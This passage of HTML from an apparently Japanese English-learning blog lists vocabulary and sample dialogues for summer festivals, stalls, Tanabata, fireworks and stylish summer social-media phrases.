を試してみない？</p>
</div></div></div>



<p></p>







<p>★には屋台の種類、には食べ物やゲームの名前を入れて会話を楽しみましょう。</p>


<table style="height: 375px; width: 100%; border-collapse: collapse; border-color: #ffde96; border-style: dotted; background-color: #ffffff;">
<tbody>
<tr style="border-color: #ffde96; background-color: #ffde96;">
<td style="width: 27.0833%; height: 23px; border-style: dotted; vertical-align: middle; border-color: #ffde96; text-align: center;"><strong> ★屋台(英語名)</strong></td>
<td style="width: 52.5595%; border-style: dotted; vertical-align: middle; border-color: #ffde96; text-align: center; height: 23px;"><strong>★屋台(日本語名) </strong></td>
</tr>
<tr style="border-color: #ffde96;">
<td style="width: 27.0833%; height: 23px; border-style: dotted; vertical-align: middle; border-color: #ffde96; text-align: center;"><strong>game stall/</strong><br /><strong>game stand</strong></td>
<td style="width: 52.5595%; border-style: dotted; vertical-align: middle; border-color: #ffde96; height: 23px;">ゲームの屋台</td>
</tr>
<tr style="border-color: #ffde96;">
<td style="width: 27.0833%; height: 23px; border-style: dotted; vertical-align: middle; border-color: #ffde96; text-align: center;"><strong>food stall/</strong><br /><strong>food stand </strong></td>
<td style="width: 52.5595%; border-style: dotted; vertical-align: middle; border-color: #ffde96; height: 23px;">食べ物を扱う屋台</td>
</tr>
<tr style="border-color: #ffde96;">
<td style="width: 27.0833%; height: 23px; border-style: dotted; vertical-align: middle; border-color: #ffde96; text-align: center;"><strong>toy stall/</strong><br /><strong>toy stand </strong></td>
<td style="width: 52.5595%; border-style: dotted; vertical-align: middle; border-color: #ffde96; height: 23px;">おもちゃの屋台</td>
</tr>
<tr style="border-color: #ffde96; background-color: #ffde96;">
<td style="width: 27.0833%; height: 23px; border-style: dotted; vertical-align: middle; border-color: #ffde96; text-align: center;"><strong><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f5a4.png" alt="🖤" class="wp-smiley" style="height: 1em; max-height: 1em;" />屋台(英語名)</strong></td>
<td style="width: 52.5595%; border-style: dotted; vertical-align: middle; border-color: #ffde96; height: 23px; text-align: center;"><strong><img src="https://s.w.org/images/core/emoji/17.0.2/72x72/1f5a4.png" alt="🖤" class="wp-smiley" style="height: 1em; max-height: 1em;" />屋台(日本語名)</strong></td>
</tr>
<tr style="border-color: #ffde96;">
<td style="width: 27.0833%; height: 23px; border-style: dotted; vertical-align: middle; border-color: #ffde96; text-align: center;"><strong>chocolate-coated banana</strong></td>
<td style="width: 52.5595%; border-style: dotted; vertical-align: middle; border-color: #ffde96; height: 23px;">チョコバナナ</td>
</tr>
<tr style="border-color: #ffde96;">
<td style="width: 27.0833%; height: 22px; border-style: dotted; vertical-align: middle; border-color: #ffde96; text-align: center;"><strong>candy apple</strong></td>
<td style="width: 52.5595%; border-style: dotted; vertical-align: middle; border-color: #ffde96; height: 22px;">りんご飴</td>
</tr>
<tr style="border-color: #ffde96;">
<td style="width: 27.0833%; height: 23px; border-style: dotted; vertical-align: middle; border-color: #ffde96; text-align: center;"><strong>shaved ice</strong></td>
<td style="width: 52.5595%; border-style: dotted; vertical-align: middle; border-color: #ffde96; height: 23px;">かき氷</td>
</tr>
<tr style="border-color: #ffde96;">
<td style="width: 27.0833%; height: 23px; border-style: dotted; vertical-align: middle; border-color: #ffde96; text-align: center;"><strong>cotton candy</strong></td>
<td style="width: 52.5595%; border-style: dotted; vertical-align: middle; border-color: #ffde96; height: 23px;">わたあめ</td>
</tr>
<tr style="border-color: #ffde96;">
<td style="width: 27.0833%; height: 23px; border-style: dotted; vertical-align: middle; border-color: #ffde96; text-align: center;"><strong>takoyaki/</strong><br /><strong>octopus dumpling/</strong><br /><strong>octopus balls</strong></td>
<td style="width: 52.5595%; border-style: dotted; vertical-align: middle; border-color: #ffde96; height: 23px;">たこ焼き</td>
</tr>
<tr style="border-color: #ffde96;">
<td style="width: 27.0833%; height: 20px; border-style: dotted; vertical-align: middle; border-color: #ffde96; text-align: center;"><strong>okonomiyaki/</strong><br /><strong>Japanese pancake</strong></td>
<td style="width: 52.5595%; border-style: dotted; vertical-align: middle; border-color: #ffde96; height: 20px;">お好み焼き</td>
</tr>
<tr style="border-color: #ffde96;">
<td style="width: 27.0833%; height: 10px; border-style: dotted; vertical-align: middle; border-color: #ffde96; text-align: center;"><strong>goldfish scooping</strong></td>
<td style="width: 52.5595%; border-style: dotted; vertical-align: middle; border-color: #ffde96; height: 10px;">金魚すくい</td>
</tr>
<tr style="border-color: #ffde96;">
<td style="width: 27.0833%; height: 20px; border-style: dotted; vertical-align: middle; border-color: #ffde96; text-align: center;"><strong>yo-yo balloon fishing</strong></td>
<td style="width: 52.5595%; border-style: dotted; vertical-align: middle; border-color: #ffde96; height: 20px;">ヨーヨー釣り</td>
</tr>
<tr style="border-color: #ffde96;">
<td style="width: 27.0833%; height: 10px; border-style: dotted; vertical-align: middle; border-color: #ffde96; text-align: center;"><strong>shooting gallery</strong></td>
<td style="width: 52.5595%; border-style: dotted; vertical-align: middle; border-color: #ffde96; height: 10px;">射的</td>
</tr>
<tr style="border-color: #ffde96;">
<td style="width: 27.0833%; height: 20px; border-style: dotted; vertical-align: middle; border-color: #ffde96; text-align: center;"><strong>ring toss</strong></td>
<td style="width: 52.5595%; border-style: dotted; vertical-align: middle; border-color: #ffde96; height: 20px;">輪投げ</td>
</tr>
<tr style="border-color: #ffde96;">
<td style="width: 27.0833%; height: 23px; border-style: dotted; vertical-align: middle; border-color: #ffde96; text-align: center;"><strong>bouncy ball scooping</strong></td>
<td style="width: 52.5595%; border-style: dotted; vertical-align: middle; border-color: #ffde96; height: 23px;">スーパーボールすくい</td>
</tr>
<tr style="border-color: #ffde96;">
<td style="width: 27.0833%; height: 20px; border-style: dotted; vertical-align: middle; border-color: #ffde96; text-align: center;"><strong>stir-fried noodle</strong></td>
<td style="width: 52.5595%; border-style: dotted; vertical-align: middle; border-color: #ffde96; height: 20px;">焼きそば</td>
</tr>
<tr style="border-color: #ffde96;">
<td style="width: 27.0833%; height: 23px; border-style: dotted; vertical-align: middle; border-color: #ffde96; text-align: center;"><strong>chargrilled squid</strong></td>
<td style="width: 52.5595%; border-style: dotted; vertical-align: middle; border-color: #ffde96; height: 23px;">いか焼</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">フェス</h4>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_teenager_hood-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>The outdoor music festival was the greatest ever!</strong><br>野外フェスは今までで一番サイコーだった！</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-right vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people_avatar_man_male_young_face-128-1.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#cae9fb"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent transparent transparent #cae9fb"></span><span class="vk_balloon_content_after "></span>
<p><strong>When is Lady Gaga gonna perform at the music festive in Coachella?</strong><br>コーチェラのフェスで、レディ ガガはいつ出てくるんだ？</p>
</div></div></div>



<p></p>



<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_man_afro_african_avatar_male_teenager-2-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  has-background-color " style="background:#d9f4ea"><span class="vk_balloon_content_before  has-text-color" style="border-color:transparent #d9f4ea transparent transparent"></span><span class="vk_balloon_content_after "></span>
<p><strong>Every time I go to outdoor concert, I get pumped up like mad person.</strong><br>俺って野外ライブに行くと、狂ったみたいに興奮するんだよね</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>


<table style="height: 1068px; width: 100%; border-collapse: collapse; border-color: #f6c2cb; border-style: dotted; background-color: #ffffff;">
<tbody>
<tr style="border-style: dotted; border-color: #f6c2cb; background-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; text-align: center; vertical-align: middle;"><strong>単語・イディオム</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; text-align: center; vertical-align: middle;"><strong>意味・解説</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>bamboo</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">竹</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>paper strips</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">短冊</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>branch</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">枝</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>make one’s wishe come true</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">（人）の願いが叶う</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>the star festival</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">七夕</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>the Weaver Star</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><span class="BxUVEf ILfuVd" lang="ja"><span class="hgKElc">織姫星。<span data-huuid="2349619574150914770">こと座のベガ</span>。weaverは織物職人の意</span></span></td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>the Cowherd Star</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">彦星（牽牛星）。<span data-huuid="2349619574150914770">わし座のアルタイル</span>。Cowherdは牛飼いの意</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>the Vega</strong></td>
<td style="width: 62.9762%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><span class="BxUVEf ILfuVd" lang="ja"><span class="hgKElc"><span data-huuid="2349619574150914770">こと座のベガ</span></span></span></td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>the Altair</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><span data-huuid="2349619574150914770">わし座のアルタイル</span></td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>beach opening</strong></td>
<td style="width: 62.9762%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">海開き</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>summer vacation/vacay</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">【アメリカ】夏休み。【スラング】vacay</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>summer holidays</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">【イギリス】夏休み</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 26px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>go abroad</strong></td>
<td style="width: 62.9762%; height: 26px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">海外に行く</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>fireworks festival</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">花火大会。お祭りとしての要素が強い</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>fireworks display</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">【アメリカ】一般的な花火の見せ物全般</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>firework display</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">【イギリス】一般的な花火の見せ物全般</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>be said to</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">語り継がれている</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>pass away from</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">死者が出る</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>famine</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">飢饉</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>epidemic</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">疫病</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>comfort</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を慰める</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>spirit</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">霊、精神</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>pray</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜願う、〜祈る</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>the plague to vanish</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">悪疫退散</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>be established annual event</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">年中行事として定着</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>fireworks maker</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">花火師</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>launch firework</strong></td>
<td style="width: 62.9762%; height: 10px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">花火を打ち上げる</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>spectator</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">観客</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>shout</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">叫ぶ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>tradition</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">伝統</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>pass down to</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を受け継ぐ</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>modern</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">現代の</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>summer festival</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">夏祭り</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>associated with</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜と関連している、〜と関係がある</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>religious events</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">宗教的行事</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>sacred ceremonies</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">神聖な儀式</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>excitedly</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜に興奮して</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>historical background</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">歴史的背景</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>cultural significance</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">文化的意義</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>lend</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜を貸す</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>scoop</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜をすくう</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>stir-fried</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">炒め物、強火で素早く炒めた料理</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>chargrilled</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">炭火焼きの</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>squid</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">いか</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>stall / stand</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">屋台、露店、売店</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>music festival</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">音楽フェス</td>
</tr>
<tr style="border-style: dotted; border-color: #f6c2cb;">
<td style="width: 36.6666%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;"><strong>get pumped up</strong></td>
<td style="width: 62.9762%; height: 23px; border-style: dotted; border-color: #f6c2cb; vertical-align: middle;">〜に興奮する</td>
</tr>
</tbody>
</table>


<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:72px;height:auto"/></figure>



<h2 class="wp-block-heading">ちょっとオシャレな夏フレーズでSNSで目立ってみよう！<br>(Stylish Summer Phrases for Social Media)</h2>



<figure class="wp-block-image size-full"><img data-recalc-dims="1" loading="lazy" decoding="async" width="678" height="453" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-friends-enjoying-wonderful-weather-2.jpg?resize=678%2C453&#038;ssl=1" alt="" class="wp-image-4512" srcset="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-friends-enjoying-wonderful-weather-2.jpg?w=1023&amp;ssl=1 1023w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-friends-enjoying-wonderful-weather-2.jpg?resize=300%2C200&amp;ssl=1 300w, https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/stock-photo-friends-enjoying-wonderful-weather-2.jpg?resize=768%2C513&amp;ssl=1 768w" sizes="auto, (max-width: 678px) 100vw, 678px" /><figcaption class="wp-element-caption">Best friends and wonderful weather</figcaption></figure>



<p>ビーチに行ったり、夏を楽しんでることをアピールしたい時のオシャレなフレーズをご紹介します。SNS投稿のハッシュタグに使ってみてくださいね。</p>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Summer Vibes</h4>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 34px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 11px; vertical-align: middle;"><strong data-rich-text-format-boundary="true">English Phrase</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; height: 11px; vertical-align: middle;"><strong>Summer Vibes</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;">夏の雰囲気、気分<br />夏に聴きたい音楽や、夏特有の景色、アクティビティ、天候、明るさ、楽しさ、自由さなどを表現する際に使用</td>
</tr>
</tbody>
</table>


<div class="wp-block-vk-blocks-balloon vk_balloon vk_balloon-position-left vk_balloon-type-speech vk_balloon-animation-none"><div class="vk_balloon_icon"><figure><img data-recalc-dims="1" decoding="async" class="vk_balloon_icon_image vk_balloon_icon_image-type-normal " src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/boy_people._avatar_man_male_teenager_user_-128.png?w=678&#038;ssl=1" alt=""/><figcaption class="vk_balloon_icon_name"></figcaption></figure></div><div class="vk_balloon_content_outer"><div class="vk_balloon_content  "><span class="vk_balloon_content_before "></span><span class="vk_balloon_content_after "></span>
<p><strong>You’re having good summer vives today, aren’t you!</strong><br>今日、超ご機嫌じゃん！夏だから？</p>
</div></div></div>



<figure class="wp-block-image size-full is-resized"><img data-recalc-dims="1" loading="lazy" decoding="async" width="42" height="40" src="https://i0.wp.com/ffeng.jp/wp-content/uploads/2025/08/3da7a4a63e0fd4eecef105b5f85d3238.png?resize=42%2C40&#038;ssl=1" alt="" class="wp-image-4519" style="width:24px;height:auto"/></figure>



<h4 class="wp-block-heading">Seas the Day</h4>


<table style="width: 100%; border-collapse: collapse; border-style: dotted; border-color: #fccfcf; height: 46px;">
<tbody>
<tr style="border-style: dotted; border-color: #facdcd; background-color: #fce1e6;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong data-rich-text-format-boundary="true">English Phrase</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong>Seas the Day</strong></td>
</tr>
<tr style="border-style: dotted; border-color: #facdcd;">
<td style="width: 25.8333%; text-align: center; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;"><strong>解説</strong></td>
<td style="width: 74.1667%; border-style: dotted; border-color: #ffd4d4; height: 23px; vertical-align: middle;">今を生きる、機会を逃さずに今を全力で生きよう<br /><strong>Seize the day</strong>と同じ発音を利用した言葉遊び。同様の意味で使用されます。<br />海に掛けて、「海の魅力をとことん楽しもう」という意味で使用されることも</td>
</tr>
</tbody>
</table>


